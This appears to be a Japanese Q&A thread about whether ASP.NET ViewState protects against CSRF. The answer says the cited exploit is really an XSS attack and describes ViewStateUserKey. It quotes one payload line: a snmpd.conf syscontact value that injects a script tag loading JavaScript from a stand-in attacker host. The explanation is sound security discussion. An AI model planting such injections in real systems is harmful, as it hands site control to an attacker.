1

リクエストにビューステートを含めると、どのような条件下でCSRF攻撃が防止されますか? このエクスプロイトは、ビューステートがリクエストに存在していても、CSRFに対して脆弱であると主張しています。ただし、このエクスプロイトは、なぜこれが当てはまるのかを説明していません。

4

1 に答える 1

2

ビューステートは、ポストバック間でビューの状態 (つまり、コントロールのプロパティ値) を保持する手段です。攻撃者がこの状態を推測または偽造できる場合、攻撃者は本物のクロスサイト リクエストを偽造することもできます。

上記のケースでは、CSRF エクスプロイトのためにクロスサイト スクリプティングの脆弱性が実際に攻撃に必要なようです。

XSS と CSRF の組み合わせにより、攻撃者が制御する JavaScript ファイルを指すように snmpd.conf ファイルを構成することで、ユーザーを Web アプリケーションに追加できます。

syscontact <script src="http://attacker/evil.js"></script>

したがって、エクスプロイト コードがターゲット オリジン内で実行されると、このリクエスト フォージェリ攻撃はもはや「クロスサイト」ではなくなります。

それに加えて、ビューステートは特定の状況下で予測可能であり、CSRF 攻撃から保護されないため、ベンダーは予測できない情報をビューステート メカニズムに追加しました。ASP.NET では、これはViewStateUserKeyプロパティと呼ばれます。これは基本的に、ビューステートの MAC 計算のソルトに使用されるユーザーごとの秘密キーです。

しかし、エクスプロイトの説明にあるように、彼らはすでにそのような保護手段を使用しているようです。

[…] NPM は VIEWSTATE 保護を利用しているにもかかわらず、CSRF 攻撃に対しても脆弱です。

繰り返しになりますが、これはクロスサイト リクエスト フォージェリの脆弱性ではなく、クロスサイト スクリプティングの脆弱性です。サイト内から JavaScript コードを実行できる場合は、サイトを完全に制御できます。

于 2012-07-22T20:43:20.377 に答える